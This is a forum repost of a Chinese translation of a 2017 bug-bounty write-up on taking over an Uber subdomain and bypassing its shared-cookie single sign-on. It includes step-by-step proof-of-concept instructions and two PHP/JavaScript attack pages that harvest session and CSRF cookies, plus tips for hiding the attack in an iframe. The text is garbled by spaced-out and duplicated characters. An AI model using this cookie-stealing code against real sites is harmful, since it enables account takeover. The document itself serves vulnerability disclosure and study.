搜索

[11604] 2017-07-30_挖洞经验看我如何通过子域名接管绕过Uber单点登录认证机制

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2017-07-30_挖洞经验看我如何通过子域名接管绕过Uber单点登录认证机制 挖 洞 经 验   |   看 我 如 何 通 过 子 域 名 接 管 绕 过 U b e r 单 点 登 录 认 证 机 制 c l o u d s   F r e e B u f   2 0 1 7 - 0 7 - 3 0 U b e r 使 用 使 用 A m a z o n   C l o u d F r o n t   C D N 架 构 的 网 站 架 构 的 网 站 s a o s t a t i c . u b e r . c o m 存 在 子 域 名 安 全 漏 洞 ， 可 被 攻 击 者 接 管 。 另 存 在 子 域 名 安 全 漏 洞 ， 可 被 攻 击 者 接 管 。 另 外 ， 外 ， U b e r 近 期 部 署 在 网 站 近 期 部 署 在 网 站 a u t h . u b e r . c o m 上 ， 基 于 上 ， 基 于 U b e r 所 有 子 域 名 所 有 子 域 名 c o o k i e 共 享 实 现 认 证 的 单 点 登 录 系 统 （ 共 享 实 现 认 证 的 单 点 登 录 系 统 （ S S O ） ） 也 存 在 安 全 问 题 ， 攻 击 者 可 通 过 入 侵 控 制 任 意 一 个 也 存 在 安 全 问 题 ， 攻 击 者 可 通 过 入 侵 控 制 任 意 一 个 * . u b e r . c o m 子 域 名 进 行 会 话 子 域 名 进 行 会 话 c o o k i e 窃 取 。 因 此 ， 这 两 个 问 题 窃 取 。 因 此 ， 这 两 个 问 题 的 综 合 应 用 将 造 成 对 的 综 合 应 用 将 造 成 对 U b e r 整 个 整 个 S S O 系 统 的 身 份 认 证 绕 过 ， 实 现 对 所 有 系 统 的 身 份 认 证 绕 过 ， 实 现 对 所 有 U b e r 子 域 名 网 站 的 访 问 控 制 ， 影 响 甚 大 。 子 域 名 网 站 的 访 问 控 制 ， 影 响 甚 大 。 目 前 ， 通 过 我 的 漏 洞 发 现 ， 目 前 ， 通 过 我 的 漏 洞 发 现 ， U b e r 已 经 修 复 了 这 两 个 安 全 问 题 ， 并 为 我 提 供 了 已 经 修 复 了 这 两 个 安 全 问 题 ， 并 为 我 提 供 了 5 0 0 0 刀 的 漏 洞 奖 金 。 下 面 ， 我 们 就 刀 的 漏 洞 奖 金 。 下 面 ， 我 们 就 一 起 来 进 行 漏 洞 分 析 ： 一 起 来 进 行 漏 洞 分 析 ： 了 解 单 点 登 录 认 证 系 统 了 解 单 点 登 录 认 证 系 统 S S O 的 安 全 性 的 安 全 性 通 常 ， 单 点 登 录 认 证 系 统 主 要 有 以 下 三 种 类 型 ： O A u t h :   基 于 服 务 提 供 者 （ S e r v i c e   P r o v i d e r s ） 为 身 份 提 供 者 （ I d e n t i t y   P r o v i d e r s ） 配 置 的 白 名 单 回 调 U R L ， 并 由 “ s t a t e ” 参 数 实 现 C S R F 保 护 。 该 方 式 存 在 的 漏 洞 大 多 为 开 放 重 定 向 问 题 ， 参 考 A i r b n b 的 认 证 绕 过 漏 洞 。 S A M L   &   f r i e n d s :   基 于 X M L 消 息 加 密 ， 使 用 服 务 提 供 者 和 身 份 提 供 者 之 间 的 预 交 换 加 密 密 钥 进 行 认 证 。 该 方 式 漏 洞 大 多 为 X M L 签 名 绕 过 ， 参 考 O n e L o g i n 认 证 绕 过 。 子 域 名 c o o k i e 会 话 共 享 :   基 于 所 有 子 域 名 空 间 的 整 体 安 全 性 。 任 何 一 个 存 在 漏 洞 的 子 域 名 都 可 能 导 致 会 话 共 享 c o o k i e 被 劫 持 ， 并 对 S S O 系 统 造 成 安 全 威 胁 。 该 方 式 漏 洞 大 多 为 R C E 远 程 代 码 执 行 、 调 试 日 志 泄 露 和 子 域 名 接 管 ， 参 考 U b i q u i t y 身 份 认 证 绕 过 。 我 个 人 认 为 ， 前 两 种 单 点 登 录 方 式 以 前 存 在 很 多 安 全 问 题 ， 但 现 在 其 安 全 性 都 已 得 到 提 升 。 相 比 来 说 ， 第 三 种 S S O 方 式 的 应 用 比 前 两 种 都 要 早 ， 从 设 计 角 度 来 说 ， 任 何 利 用 这 种 S S O 系 统 发 起 认 证 的 域 名 都 必 须 是 同 一 个 顶 级 域 名 下 的 子 域 名 ， 但 由 于 这 种 S S O 系 统 的 安 全 性 依 赖 于 所 有 子 域 名 的 整 体 安 全 性 ， 所 以 也 无 形 中 增 加 了 其 攻 击 面 。 U b e r 的 单 点 登 录 认 证 问 题 的 单 点 登 录 认 证 问 题 从 近 期 的 漏 洞 披 露 报 告 来 看 ， U b e r 在 过 去 曾 使 用 O A u t h 来 作 为 * . u b e r . c o m 子 域 名 的 S S O 系 统 ， 但 最 近 却 换 成 了 基 于 会 话 共 享 c o o k i e 的 S S O 系 统 。 现 在 访 问 任 何 一 个 需 要 身 份 认 证 的 u b e r . c o m 子 域 名 ， 都 将 被 重 定 向 到 a u t h . u b e r . c o m 进 行 统 一 的 身 份 认 证 。 如 果 在 该 网 站 完 成 登 录 之 后 意 味 着 你 通 过 了 其 S S O 系 统 ， 利 用 S S O 系 统 分 配 的 会 话 c o o k i e 可 继 续 实 现 其 它 U b e r 网 站 的 登 录 访 问 。
但 是 这 个 S S O 系 统 却 存 在 前 述 的 安 全 漏 洞 ： 在 受 害 者 为 认 证 登 录 状 态 时 ， 通 过 对 任 何 一 个 入 侵 控 制 的 子 域 名 网 站 可 以 窃 取 经 a u t h . u b e r . c o m 为 任 意 子 域 名 认 证 分 发 的 共 享 会 话 c o o k i e 。 虽 然 U b e r 采 取 了 一 些 防 护 对 策 ， 但 仍 然 可 以 被 绕 过 。 加 上 s a o s t a t i c . u b e r . c o m 的 子 域 名 绕 过 漏 洞 ， 意 味 着 U b e r 的 整 个 S S O 系 统 身 份 认 证 机 制 都 将 被 绕 过 。 尽 管 U b e r 在 漏 洞 赏 金 项 目 中 明 确 了 某 些 不 在 测 试 范 围 内 的 域 名 ， 但 该 漏 洞 攻 击 可 适 用 于 任 意 一 个 * . u b e r . c o m 子 域 名 。 对 对 U b e r 的 子 域 名 接 管 的 子 域 名 接 管 通 过 D N S   C N A M E 记 录 观 察 ， 子 域 名 s a o s t a t i c . u b e r . c o m 指 向 A m a z o n   C l o u d f r o n t   C D N ， 但 主 机 名 并 没 有 被 注 册 ， 这 也 味 着 其 存 在 域 名 注 册 接 管 漏 洞 。 在 参 考 类 似 的 U b e r 漏 洞 之 后 ， 我 成 功 接 管 了 该 子 域 名 ， 以 下 P o C 证 明 : 对 对 U b e r 实 现 认 证 绕 过 实 现 认 证 绕 过 在 U b e r 的 S S O 系 统 中 ， a u t h . u b e r . c o m 作 为 具 备 临 时 共 享 会 话 c o o k i e 的 身 份 提 供 者 ， 向 服 务 提 供 者 （ 如 r i d e r s . u b e r . c o m 等 网 站 ） 发 起 认 证 。 成 功 完 成 认 证 之 后 ， 为 避 免 冲 突 和 错 误 ， 服 务 提 供 者 在 服 务 端 将 会 立 即 删 除 传 入 的 临 时 共 享 会 话 c o o k i e ， 并 降 低 会 话 信 息 被 窃 取 的 可 能 和 风 险 。 以 下 为 U b e r   S S O 系 统 的 用 户 登 录 流 程 ：
从 上 图 分 析 可 看 出 ， 由 于 在 第 9 步 和 第 1 2 步 之 间 存 在 一 个 短 暂 的 浏 览 器 重 定 向 ， 有 效 的 会 话 c o o k i e     “ _ c s i d ” 貌 似 只 能 从 此 进 行 窃 取 。 对 此 ， 结 合 J a c k   W h i t t o n 的 C S P 欺 骗 实 现 c o o k i e 重 定 向 发 送 漏 洞 ， 我 发 现 了 一 种 更 方 便 有 效 的 利 用 方 法 ， 通 过 该 方 法 可 以 让 共 享 会 话 c o o k i e 在 第 1 2 步 后 仍 然 保 存 在 浏 览 器 中 。 关 键 是 ， 如 果 目 标 用 户 已 经 通 过 第 1 2 步 实 现 了 h t t p s : / / r i d e r s . u b e r . c o m 的 认 证 登 录 ， 当 该 用 户 接 着 又 从 a u t h . u b e r . c o m 收 到 了 一 个 新 生 成 的 有 效 共 享 会 话 c o o k i e “ _ c s i d ” 时 ， 这 个 新 c o o k i e 将 被 忽 略 但 保 持 有 效 。 因 此 ， 攻 击 者 可 以 将 上 图 第 3 步 重 放 为 下 图 的 第 1 3 步 ， 并 在 其 后 添 加 一 个 指 向 h t t p s : / / s a o s t a t i c . u b e r . c o m 的 隐 藏 请 求 ， 就 可 以 窃 取 到 有 效 会 话 c o o k i e ：
理 论 上 来 说 ， 一 旦 攻 击 者 得 到 了 如 h t t p s : / / r i d e r s . u b e r . c o m 的 受 害 用 户 共 享 会 话 c o o k i e   “ _ c s i d ” 后 ， 就 可 在 自 己 的 浏 览 器 中 执 行 正 常 的 登 录 认 证 流 程 ， 并 会 替 换 掉 第 9 步 的 “ _ c s i d ”   分 发 c o o k i e 值 ， 伪 装 受 害 用 户 进 行 登 录 。 但 是 ， U b e r 在 这 里 设 置 了 C S R F 跨 站 请 求 伪 造 防 护 措 施 ， 所 以 ， 加 入 C S R F 防 护 机 制 的 U b e r   S S O 登 录 流 程 图 如 下 所 示 ：
关 键 就 在 于 G E T 参 数 s t a t e = C S R F T O K E N ， 和 在 第 3 步 中 由 r i d e r s . u b e r . c o m 添 加 的 ， 并 在 第 1 1 步 验 证 的 本 地 局 部 状 态 c o o k i e 。 由 于 我 们 无 法 从 受 害 用 户 浏 览 器 中 窃 取 这 些 c o o k i e 值 ， 但 我 们 的 目 标 又 是 共 享 会 话 c o o k i e “ _ c s i d ” ， 那 是 否 就 没 戏 了 呢 ？ N O ！ 由 于 攻 击 者 可 以 通 过 在 自 己 终 端 ， 正 常 进 行 h t t p s : / / r i d e r s . u b e r . c o m 的 登 录 操 作 ， 并 从 中 获 取 到 有 效 的 C S R F T O K E N 值 和 状 态 c o o k i e ， 那 么 攻 击 者 就 能 够 将 h t t p s : / / r i d e r s . u b e r . c o m 在 第 三 步 生 成 的 a u t h . u b e r . c o m   U R L 链 接 转 发 至 受 害 用 户 的 浏 览 器 中 ， 生 成 并 窃 取 共 享 会 话 c o o k i e     “ _ c s i d ” ， 最 后 将 这 些 c o o k i e 插 入 到 第 9 步 的 自 己 登 录 认 证 过 程 中 。 这 种 方 式 下 ， 由 受 害 者 生 成 一 个 临 时 的 会 话 令 牌 ” _ c s i d ” ， 而 攻 击 者 利 用 该 令 牌 在 单 独 的 浏 览 器 实 现 成 功 认 证 登 录 ， 非 常 完 美 。
P o C 及 视 频 演 示 及 视 频 演 示 再 多 的 流 程 图 也 比 不 上 一 个 P o C 说 得 清 楚 。 1 、 打 开 受 害 者 浏 览 器 ， 浏 览 h t t p s : / / r i d e r s . u b e r . c o m ， 之 后 被 重 定 向 到 h t t p s : / / a u t h . u b e r . c o m ， 使 用 受 害 用 户 的 凭 证 完 成 认 证 ， 转 到 h t t p s : / / r i d e r s . u b e r . c o m ； 2 、 在 受 害 者 浏 览 器 打 开 另 一 个 网 页 标 签 ， 访 问 h t t p s : / / s a o s t a t i c . u b e r . c o m / p r e p a r e u b e r a t t a c k . p h p ， 假 设 该 网 站 设 置 了 安 全 有 效 的 S S L 认 证 模 式 ， 在 此 跳 出 的 任 何 认 证 警 告 ， 都 选 择 接 受 。 当 页 面 加 载 完 成 后 ， 你 将 会 在 底 部 看 到 一 个 u r l 、 C o o k i e 字 符 串 和 S e t - C o o k i e 字 符 串 ， 这 就 是 自 动 窃 取 的 ， 攻 击 者 用 来 进 行 登 录 认 证 的 c o o k i e 值 3 、 打 开 另 外 一 个 浏 览 器 窗 口 ， 设 置 拦 截 工 具 进 行 请 求 回 应 的 流 量 截 取 ， 访 问 p r e p a r e u b e r a t t a c k . p h p 页 面 显 示 的 U R L 链 接 进 行 拦 截 ， 之 后 ， 复 制 在 p r e p a r e u b e r a t t a c k . p h p 页 面 中 显 示 的 C o o k i e : … 字 段 ， 并 把 它 拷 贝 到 请 求 头 中 4 、 响 应 信 息 将 会 跳 转 到 h t t p s : / / r i d e r s . u b e r . c o m / t r i p s ， 表 明 已 成 功 绕 过 身 份 认 证 。 最 后 ， 将 p r e p a r e u b e r a t t a c k . p h p 页 面 的 “ S e t - C o o k i e ： ” 字 段 值 拷 贝 到 浏 览 器 服 务 端 请 求 的 响 应 信 息 中 ， 这 样 ， 就 能 实 现
将 窃 取 的 c o o k i e 值 持 久 驻 留 在 攻 击 者 浏 览 器 中 。 接 下 来 ， 就 可 以 受 害 者 身 份 完 成 其 它 域 名 网 站 的 认 证 登 录 。 具 体 请 看 以 下 演 示 视 频 ： h t t p s : / / v . q q . c o m / x / p a g e / k 0 5 2 5 k 5 z v l n . h t m l 真 实 攻 击 场 景 中 ， 攻 击 者 可 以 用 隐 蔽 方 式 在 受 害 用 户 浏 览 器 中 ， 通 过 i f r a m e 等 方 式 加 载 h t t p s : / / s a o s t a t i c . u b e r . c o m / p r e p a r e u b e r a t t a c k . p h p 页 面 。 同 样 ， 攻 击 者 可 以 不 在 结 果 返 回 页 面 中 显 示 U R L 和 窃 取 的 c o o k i e 信 息 ， 而 是 将 其 存 储 服 务 器 后 端 ， 实 现 隐 蔽 攻 击 窃 取 。 虽 然 解 释 有 些 拖 沓 ， 但 在 上 述 视 频 演 示 中 可 看 出 其 P o C 漏 洞 攻 击 的 快 速 有 效 执 行 能 力 。 以 下 给 出 的 是   h t t p s : / / s a o s t a t i c . u b e r . c o m / p r e p a r e u b e r a t t a c k . p h p 和 h t t p s : / / s a o s t a t i c . u b e r . c o m / u b e r a t t a c k . p h p 页 面 的 攻 击 源 码 ， p r e p a r e u b e r a t t a c k . p h p 可 托 管 在 任 意 服 务 器 ， 而 u b e r a t t a c k . p h p 必 须 托 管 在 被 劫 持 或 入 侵 的 子 域 名 网 站 服 务 器 中 。 你 可 以 将 这 两 个 P H P 文 件 中 的 “ r i d e r s . u b e r . c o m ” 改 为 其 它 U b e r 子 域 名 ， 如 v a u l t . u b e r . c o m 、 p a r t n e r s . u b e r . c o m 和 d e v e l o p e r . u b e r . c o m 等 ， 进 行 攻 击 。 p r e p a r e u b e r a t t a c k . p h p ： u b e r a t t a c k . p h p ： < h t m l > < b o d y > < s c r i p t > < ? p h p         f u n c t i o n   H a n d l e H e a d e r L i n e (   $ c u r l ,   $ h e a d e r _ l i n e   )   {                 p r e g _ m a t c h ( " / s t a t e = ( [ ^ ; ] * ) ; / " ,   $ h e a d e r _ l i n e ,   $ m a t c h e s ) ;         i f ( s i z e o f ( $ m a t c h e s )   >   0 )   {                 p r i n t ( " v a r   c o o k i e s t a t e   =   ' "   .   $ m a t c h e s [ 1 ]   .   " ' ; n " ) ;         }         p r e g _ m a t c h ( " / L o c a t i o n :   ( . * ) / " ,   $ h e a d e r _ l i n e ,   $ m a t c h e s ) ;         i f ( s i z e o f ( $ m a t c h e s )   >   0 )   {                 p r i n t ( " v a r   l o c   =   ' "   .   t r i m ( $ m a t c h e s [ 1 ] )   .   " ' ; n " ) ;         }         r e t u r n   s t r l e n ( $ h e a d e r _ l i n e ) ;         }               $ c   =   c u r l _ i n i t ( ' h t t p s : / / r i d e r s . u b e r . c o m ' ) ;         c u r l _ s e t o p t ( $ c ,   C U R L O P T _ V E R B O S E ,   1 ) ;         c u r l _ s e t o p t ( $ c ,   C U R L O P T _ R E T U R N T R A N S F E R ,   1 ) ;         c u r l _ s e t o p t ( $ c ,   C U R L O P T _ H E A D E R F U N C T I O N ,   " H a n d l e H e a d e r L i n e " ) ;         $ p a g e   =   c u r l _ e x e c ( $ c ) ; ? > v a r   c s r f   =   l o c . s u b s t r i n g ( l o c . l a s t I n d e x O f ( " = " ) + 1 ) ; v a r   i m g   =   d o c u m e n t . c r e a t e E l e m e n t ( " I M G " ) ; i m g . o n e r r o r   =   f u n c t i o n   ( )   {         v a r   i f r a m e   =   d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ;         i f r a m e . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / s a o s t a t i c . u b e r . c o m / u b e r a t t a c k . p h p ? c o o k i e s t a t e = "   +   e n c o d e U R I C o m p o n e n t ( c o o k i e s t a t e )   +   " & c s r f t o k e n = "   +   c s r f ) ;         i f r a m e . s e t A t t r i b u t e ( " w i d t h " ,   " 1 0 0 % " ) ;         i f r a m e . s e t A t t r i b u t e ( " h e i g h t " ,   " 1 0 0 0 0 " ) ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r a m e ) ;   } i m g . s r c = l o c ; < / s c r i p t > < / b o d y > < / h t m l > < h t m l > < b o d y > < ? p h p         $ c o o k i e s t r i n g   =   " s t a t e = "   .   $ _ G E T [ " c o o k i e s t a t e " ]   .   " ;   " ;         $ i n t e r e s t i n c o o k i e s   =   a r r a y ( " _ u d i d " ,   " _ c s i d " ,   " s i d " ) ;         f o r e a c h   ( $ _ C O O K I E   a s   $ n a m e   = >   $ v a l u e )   {         i f   ( i n _ a r r a y ( $ n a m e , $ i n t e r e s t i n c o o k i e s ) )   {                       $ c o o k i e s t r i n g   =   $ c o o k i e s t r i n g   .   $ n a m e   .   " = "   .   s t r _ r e p l a c e ( '   ' ,   ' + ' ,   $ v a l u e )   .     " ;   " ;                 $ c o o k i e s t r i n g s e t   =   $ c o o k i e s t r i n g s e t   .   " S e t - C o o k i e :   "   .   $ n a m e   .   " = "   .   s t r _ r e p l a c e ( '   ' ,   ' + ' ,   $ v a l u e )   .     " ; < / b r > " ;                 }         }         p r i n t   " U r l :   "   .   ' h t t p s : / / r i d e r s . u b e r . c o m / ? s t a t e = '   .   u r l e n c o d e ( $ _ G E T [ " c s r f t o k e n " ] )   .   " < b r   / > < b r   / > " ;         p r i n t   " C o o k i e :   "   .   $ c o o k i e s t r i n g   .   " < b r   / > " ;         p r i n t   " < b r   / > "   .   $ c o o k i e s t r i n g s e t   .   " < b r   / > " ; ? > < / b o d y > < / h t m l >
修 复 策 略 修 复 策 略 我 给 U b e r 的 两 方 面 建 议 ： 1 、 消 除 指 向 A W S   C l o u d F r o n t   C D N 的 解 析 记 录 来 避 免 s a o s t a t i c . u b e r . c o m 的 子 域 名 接 管 漏 洞 ； 2 、 按 照 优 先 级 顺 序 ， 通 过 以 下 方 法 解 决 身 份 认 证 绕 过 问 题 ： 恢 复 使 用 O A u t h   2 ， 减 少 因 共 享 会 话 c o o k i e   S S O 系 统 导 致 的 攻 击 面 采 取 I P 地 址 检 测 功 能 ： 保 存 用 户 外 网 I P 地 址 ， 在 认 证 发 起 时 进 行 验 证 考 虑 到 S S O 系 统 对 所 有 子 域 名 的 安 全 依 赖 性 ， 可 将 所 有 U b e r 子 域 名 加 入 漏 洞 赏 金 项 目 范 围 最 终 ， U b e r 消 除 不 安 全 的 C N A M E 解 析 记 录 ， 并 采 用 I P 地 址 检 测 机 制 来 降 低 了 U b e r   S S O 系 统 攻 击 面 。 漏 洞 报 送 进 程 漏 洞 报 送 进 程 2 0 1 7 年 4 月 7 日         向 U b e r 提 交 漏 洞 2 0 1 7 年 4 月 1 1 日       U b e r 漏 洞 分 类 2 0 1 7 年 4 月 1 4 日     我 得 到 了 最 低 漏 洞 赏 金 $ 5 0 0 2 0 1 7 年 6 月 6 日       由 于 s a o s t a t i c . u b e r . c o m 还 处 于 可 接 管 状 态 ， 就 此 与 U b e r 沟 通 2 0 1 7 年 6 月 6 日       U b e r 回 应 由 于 疏 忽 导 致 ， 已 经 开 始 采 取 加 固 措 施 2 0 1 7 年 6 月 7 日       s a o s t a t i c . u b e r . c o m 的 D N S   C N A M E 记 录 被 移 除 2 0 1 7 年 6 月 1 4 日     我 获 得 了 额 外 的 $ 4 5 0 0 漏 洞 赏 金 2 0 1 7 年 7 月 7 日       U b e r 在 S S O 系 统 中 采 取 了 I P 检 测 机 制 2 0 1 7 年 7 月 1 1 日     得 到 U b e r 的 漏 洞 公 布 允 许 * 参 考 来 源 ： 参 考 来 源 ： a r n e s w i n n e n ， ， f r e e b u f 小 编 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理